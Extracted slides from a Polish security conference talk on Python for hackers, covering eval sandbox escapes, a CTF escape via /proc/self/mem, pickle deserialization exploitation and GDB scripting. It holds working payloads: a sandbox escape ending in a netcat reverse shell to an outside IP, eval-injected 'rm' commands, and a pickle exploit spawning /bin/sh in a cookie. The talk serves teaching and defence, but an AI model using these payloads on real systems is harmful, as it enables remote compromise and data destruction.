Page 73: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

POST /calc HTTP/1.1{"formula": "6*9"}

HTTP/1.1 200 OK{"result": "42"}

HTTP SERVER

„Sandbox”

Page 74: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

POST /calc HTTP/1.1{"formula": "0/0"}

HTTP/1.1 200 OK{"error":

"ZeroDivisionError"}

HTTP SERVER

„Sandbox”

Page 75: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

1+open("/etc/passwd")+1

NameError TypeErrorDamn Kids!

Get Off My Lawn!

?

?

?

„Sandbox”

Page 76: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

1+open("/etc/passwd")+1

NameError

„Sandbox”

Page 77: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

1+len([1,1,1])+1

NameError 5Damn Kids!

Get Off My Lawn!

?

?

?

„Sandbox”

Page 78: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

1+len([1,1,1])+1

NameError

Prawdopodobnie sandbox typu:eval("formula", {"__builtins__": None, "sin": math.sin, ... }, # Globals {}) # Locals

„Sandbox”

Page 79: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

1+[1,1,1].__len__()+1

NameError 5Damn Kids!

Get Off My Lawn!

?

?

?

„Sandbox”

Page 80: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

1+[1,1,1].__len__()+1

5

„Sandbox”

Page 81: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

{}

{}

['__class__', '__cmp__', '__contains__', '__delattr__', '__delitem__', '__doc__',

'__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__iter__', '__le__',

'__len__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__setitem__', '__sizeof__',

'__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'has_key', 'items', 'iteritems', 'iterkeys', 'itervalues', 'keys',

'pop', 'popitem', 'setdefault', 'update', 'values', 'viewitems', 'viewkeys',

'viewvalues']

dir(formula)

„Sandbox”

Page 82: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

{}.__class__

<type 'dict'>

['__class__', '__cmp__', '__contains__', '__delattr__', '__delitem__', '__doc__',

'__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__iter__', '__le__',

'__len__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__setitem__', '__sizeof__',

'__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'has_key', 'items', 'iteritems', 'iterkeys', 'itervalues', 'keys',

'pop', 'popitem', 'setdefault', 'update', 'values', 'viewitems', 'viewkeys',

'viewvalues']

+ hidden: __base__

dir(formula)

„Sandbox”

Page 83: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

{}.__class__.__base__

<type 'object'>

['__class__', '__delattr__', '__doc__', '__format__',

'__getattribute__', '__hash__', '__init__', '__new__',

'__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__',

'__subclasshook__']

+ hidden: __subclasses__

dir(formula)

„Sandbox”

Page 84: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

{}.__class__.__base__.__subclasses__

<built-in method __subclasses__ of type object at 0x9175e0>

['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__eq__',

'__format__', '__ge__', '__getattribute__', '__gt__',

'__hash__', '__init__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__reduce__',

'__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__',

'__subclasshook__']

dir(formula)

„Sandbox”

Page 85: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

{}.__class__.__base__.__subclasses__()

[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type

'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type

'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>,

<type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>,

<type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type

'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>,

<class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class

'_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class

'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class

'codecs.IncrementalDecoder'>]

['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__delslice__', '__doc__', '__eq__', '__format__', '__ge__',

'__getattribute__', '__getitem__', '__getslice__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__',

'__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__rmul__', '__setattr__', '__setitem__', '__setslice__', '__sizeof__', '__str__', '__subclasshook__', 'append', 'count',

'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort']

dir(formula)

„Sandbox”

Page 86: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

{}.__class__.__base__.__subclasses__()[59]

<class 'warnings.catch_warnings'>

['__class__', '__delattr__', '__dict__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__',

'__hash__', '__init__', '__module__', '__new__', '__reduce__',

'__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__',

'__subclasshook__', '__weakref__']

dir(formula)

zależne od wersji i środowiska„Sandbox”

Page 87: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

{}.__class__.__base__.__subclasses__()[59]()

catch_warnings()

['__class__', '__delattr__', '__dict__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__',

'__hash__', '__init__', '__module__', '__new__', '__reduce__',

'__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__',

'__subclasshook__', '__weakref__',

'_entered', '_module', '_record']

dir(formula)

„Sandbox”

Page 88: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

{}.__class__.__base__.__subclasses__()[59]()._module

<module 'warnings' from '/usr/lib/python2.7/warnings.py

c'>

['WarningMessage', '_OptionError', '__all__',

'__builtins__', '__doc__',

'__file__', '__name__', '__package__', '_getaction', '_getcategory',

'_processoptions', '_setoption', '_show_warning', 'catch_warnings',

'default_action', 'defaultaction', 'filters', 'filterwarnings', 'formatwarning',

'linecache', 'once_registry', 'onceregistry', 'resetwarnings', 'showwarning',

'simplefilter', 'sys', 'types', 'warn', 'warn_explicit', 'warnpy3k']

dir(formula)

„Sandbox”

Page 89: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

{}.__class__.__base__.__subclasses__()[59]()._module

.__builtins__

[...], 'ArithmeticError': <type 'exceptions.ArithmeticError'>, 'str':

<type 'str'>, 'property': <type 'property'>, 'GeneratorExit': <type 'exceptions.GeneratorExit'>, 'int':

<type 'int'>, '__import__': <built-in function __import__>,

'KeyError': <type 'exceptions.KeyError'>, 'coerce': <built-in function coerce>, [...]

(6195 bytes)

['__class__', '__cmp__', '__contains__', '__delattr__', '__delitem__', '__doc__',

'__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__iter__', '__le__',

'__len__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__setitem__', '__sizeof__',

'__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'has_key', 'items', 'iteritems', 'iterkeys', 'itervalues', 'keys',

'pop', 'popitem', 'setdefault', 'update', 'values', 'viewitems', 'viewkeys',

'viewvalues']

dir(formula)

„Sandbox”

Page 90: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

{}.__class__.__base__.__subclasses__()[59]()._module

.__builtins__['__import__']

<built-in function __import__>

['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__eq__',

'__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__',

'__lt__', '__module__', '__name__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__',

'__sizeof__', '__str__', '__subclasshook__']

dir(formula)

„Sandbox”

Page 91: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Ender's game...

{}.__class__.__base__.__subclasses__()[59]()._module

.__builtins__['__import__']

„Sandbox”

Page 92: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Ender's game...

{}.__class__.__base__.__subclasses__()[59]()._module

.__builtins__['__import__']('os')

„Sandbox”

Page 93: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Ender's game...

{}.__class__.__base__.__subclasses__()[59]()._module

.__builtins__['__import__']('os') .system

„Sandbox”

Page 94: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Ender's game...

{}.__class__.__base__.__subclasses__()[59]()._module

.__builtins__['__import__']('os') .system

('nc.traditional -e /bin/bash

93.184.216.34 31337')

„Sandbox”

Page 95: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Ender's game...

{}.__class__.__base__.__subclasses__()[59]()._module

.__builtins__['__import__']('os') .system

('nc.traditional -e /bin/bash

93.184.216.34 31337')

„Sandbox”

Page 96: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Patrz również:http://gynvael.coldwind.pl/n/python_sandbox_escape

„Sandbox”

Page 97: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Dygresja

Page 98: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Zasłyszana zabawna historia

Dawno, dawno temu,

za siedmioma górami

był sobie spammer...

Page 99: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Quiz!

Jak spammer rozwiązywał captcha?

A. Zaimplementował parser, konwersje z notacji infiksowej na odwrotną notację polską, a potem użył maszyny stosowej by wyliczyć wynik

B. Użył eval()

Zasłyszana zabawna historia

Page 100: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Quiz!

Rozwiązanie:

Z jakiegoś powodu CAPTCHA:

1+__import__('os').system('rm *')+1

podobno rozwiązała problem.

Zasłyszana zabawna historia

Page 101: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

<@Redford> LOL

<@Redford> robię sobie programing 300

<@Redford> dostajesz serię wyrażeń i masz powiedzieć czy wynik jest całkowity

<@Redford> i tak sobie już pareset zrobiłem w sumie

<@Redford> i nagle dostaję do sprawdzenia:

<@Redford> __import__('os').popen('rm -ri *').read()

<@Redford> :D

<@Redford> na szczęście miałem regexpa przed evalem który przed tym zabezpieczał :)

Zasłyszana zabawna historia v1.5

Page 102: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Sandboxing - przykład 2

Page 103: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Możesz wykonać dowolny kod.

„Empty Sandbox”__nightmares__ (PlaidCTF 2014, 375) (q3k!)

Page 104: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Możesz wykonać dowolny kod.

Ale w środowisku jest tylko jeden global: stdout

(+ słowa kluczowe)

„Empty Sandbox”__nightmares__ (PlaidCTF 2014, 375) (q3k!)

Page 105: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

stdout

Page 106: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

stdout .__class__

Page 107: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

stdout .__class__

<type 'file'>

Page 108: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

stdout .__class__

<type 'file'> ('/proc/self/mem', 'r+')

Page 109: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

stdout .__class__

<type 'file'> ('/proc/self/mem', 'r+')

.seek() + .read()

Page 110: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

stdout .__class__

<type 'file'> ('/proc/self/mem', 'r+')

.seek() + .read()

read addr of system() in .got

Page 111: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

stdout .__class__

<type 'file'> ('/proc/self/mem', 'r+')

.seek() + .read()

read addr of system() in .got

write it under fopen64() in .got

Page 112: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

stdout .__class__

<type 'file'> ('/proc/self/mem', 'r+')

.seek() + .read()

read addr of system() in .got

write it under fopen64() in .got

<type 'file'> ('cat *')

Page 113: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Sandoxing - podsumowanie

Bezpieczniej użyć nsjaila ;)

Page 114: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Bezpieczeństwo

Page 115: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Good news, ACLe w końcu poprawione! :)

https://bugs.python.org/issue10491

BUILTIN\Users:(CI)(ID)(special access:) FILE_APPEND_DATA

BUILTIN\Users:(CI)(ID)(special access:) FILE_WRITE_DATA

Listopad 2010

DLL hijacking

Page 116: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Good news, ACLe w końcu poprawione! :)

https://bugs.python.org/issue10491

Listopad 2010

Page 117: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Good news, ACLe w końcu poprawione! :)

https://bugs.python.org/issue1284316

Wrzesień 2005

Page 118: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Good news, ACLe w końcu poprawione! :)

https://bugs.python.org/issue1284316

Wrzesień 2005

"Lowering the priority; this is now a documented bug."

Page 119: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Good news, ACLe w końcu poprawione! :)

https://bugs.python.org/issue1284316

Wrzesień 2005

"Lowering the priority; this is now a documented bug."

%LocalAppData%\Programs\Python\Python35%ProgramFiles%\Python 3.5

Kwiecień 2015

Page 120: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Good news, ACLe w końcu poprawione! :) (?)

https://bugs.python.org/issue1284316

Wrzesień 2005

"Lowering the priority; this is now a documented bug."

%LocalAppData%\Programs\Python\Python35%ProgramFiles%\Python 3.5

Kwiecień 2015

"Um, you know this still affects Python 2.7 right?"

Page 121: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Bezpieczeństwo - Pickle

Page 122: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Pickle - P is for pwned

Cel: Strona pewnej firmy (pentest)

Page 123: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Rozglądając się do okoła znajdujemy:Ciasteczka!

Pickle - P is for pwned

Page 124: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

state cookie:

SESSION:KGRwMApTJ3VzZXJuYW1lJwpwMQpOc1MnbG9naW5fdGltZScKcDIKTnNTJ1NJRCcKcDMKUycxY2ZjY2RiMzM4ODQ1M2Y1NmVjY2EwNzkxMTVjNmQ2MScKcDQKcy4=:PREF:KGRwMApTJ3ByZWZfbGFuZycKcDEKUydlbi11cycKcDIKcy4=:SEARCH:KGRwMApTJ3NlYXJjaF9sYXN0JwpwMQpTIicgb3IgMT0xIC0tIgpwMgpzLg==:

cóż to?

Pickle - P is for pwned

Page 125: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

SESSION:KGRwMApTJ3VzZXJuYW1lJwpwMQpOc1MnbG9naW5fdGltZScKcDIKTnNTJ1NJRCcKcDMKUycxY2ZjY2RiMzM4ODQ1M2Y1NmVjY2EwNzkxMTVjNmQ2MScKcDQKcy4=:

>>> sess.decode("base64")

"(dp0\nS'username'\np1\nNsS'login_time'\np2\nNsS'SID'\np3\nS'1cfccdb3388453f56ecca079115c6d61'\np4\ns."

Pickle - P is for pwned

Page 126: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

(dp0\nS'username'\np1\nNsS'login_time'\np2\nNsS'SID'\np3\nS'1cfccdb3388453f56ecca079115c6d61'\np4\ns.

>>> import pickle

>>> pickle.loads(sess.decode("base64"))

{'username': None, 'SID': '1cfccdb3388453f56ecca079115c6d61', 'login_time': None}

Pickle - P is for pwned

Page 127: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Pickle - P is for pwned

Page 128: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Deserializacja obiektów - krótki przegląd

*/JSONNie obsługuje obiektów.

Pickle - P is for pwned

Page 129: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

PHP/unserialize"Statyczne" tworzenie obiektów.Wywołuje __wakeup().Ostatecznie również __destruct().

Pickle - P is for pwned

Deserializacja obiektów - krótki przegląd

Page 130: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python/pickleWywołuje wybrany konstruktor z wybranego modułu z wybranymi argumentami.

np. subprocess.Popen

Pickle - P is for pwned

Deserializacja obiektów - krótki przegląd

Page 131: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

# https://blog.nelhage.com/2011/03/exploiting-pickle/class Exploit(object): def __reduce__(self): fd = 20 # ←----------------------------------- ??? return (subprocess.Popen, (('/bin/sh',), # args 0, # bufsize None, # executable fd, fd, fd # std{in,out,err} ))print base64.b64encode(pickle.dumps(Exploit()))

Y3N1YnByb2Nlc3MKUG9wZW4KcDAKKChTJy9iaW4vc2gnCnAxCnRwMgpJMApOSTIwCkkyMApJMjAKdHAzClJwNAou

Pickle - P is for pwned

Page 132: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

fd = 20

HTTP Connection20 -> socket:[12345]

stdin (0)

stdout (1)

stderr (2)

/bin/shHTTP

Server

Pickle - P is for pwned

Page 133: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

state - wersja "poprawiona"

SESSION:KGRwMApTJ3VzZXJuYW1lJwpwMQpOc1MnbG9naW5fdGltZScKcDIKTnNTJ1NJRCcKcDMKUycxY2ZjY2RiMzM4ODQ1M2Y1NmVjY2EwNzkxMTVjNmQ2MScKcDQKcy4=:PREF:KGRwMApTJ3ByZWZfbGFuZycKcDEKUydlbi11cycKcDIKcy4=:SEARCH:Y3N1YnByb2Nlc3MKUG9wZW4KcDAKKChTJy9iaW4vc2gnCnAxCnRwMgpJMApOSTIwCkkyMApJMjAKdHAzClJwNAou:

Pickle - P is for pwned

Page 134: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

IDDQD

Pickle - P is for pwned

Page 135: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Bezpieczeństwo - Marshal

Page 136: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Marshal - M is for ... nothing?

Page 137: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Skryptowanie w skrócie

Page 138: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

GDB skryptowane w Pythonie

GDB ma cudowne Python API!

Pobieranie wartości rejestrów jest naprawdę proste:

import gdb

print int(str(gdb.parse_and_eval("(void*)($rax)")).split(" ")[0], 16)

Page 139: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

turututu (OCAML crackme, PHDays Quals CTF 2014)Stringi są przechowywane w pamięci jako linked lista

def print_list(addr, next_off=8, mod=False): if addr == 1: print " <li> 0: 1" print " <li> --" return

i = -1 r = addr while r != 1: i += 1 item = ExprAsInt("*(void**)0x%x" % r) if mod != False: item = mod(item) else: ...

... item = "%x" % item print " <li> %2u: 0x%.16x ---> %s" % ( i, r, item)

# Next. r = ExprAsInt("*(void**)(0x%x+%u)" % r, next_off))

print " <li> --" return

GDB skryptowane w Pythonie

Page 140: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

--- walk_through_list_rsi <li> 0: 0x0000000000621da0 ---> H [91 | 1] <li> 1: 0x0000000000621db8 ---> a [c3 | 1] <li> 2: 0x0000000000621dd0 ---> t [e9 | 1] <li> 3: 0x0000000000621de8 ---> r [e5 | 1] <li> 4: 0x0000000000621e00 ---> n [dd | 1] <li> 5: 0x0000000000621e18 ---> D [89 | 1] <li> 6: 0x0000000000621e30 ---> y [f3 | 1] <li> 7: 0x0000000000621e48 ---> r [e5 | 1] <li> 8: 0x0000000000621e60 ---> t [e9 | 1] <li> --

turututu (OCAML crackme, PHDays Quals CTF 2014)

GDB skryptowane w Pythonie

Page 141: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python i inne debuggery

● Wiele debuggerów jest skryptowalne.○ Zazwyczaj w Pythonie :)

● Przykłady:○ Python for Windbg○ ImmunityDbg○ IDA○ x64dbg (x64dbgpy)○ Binary Ninja

Page 142: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna
Page 143: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Moja ulubiona biblioteka

Page 144: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

import telnetlib

...

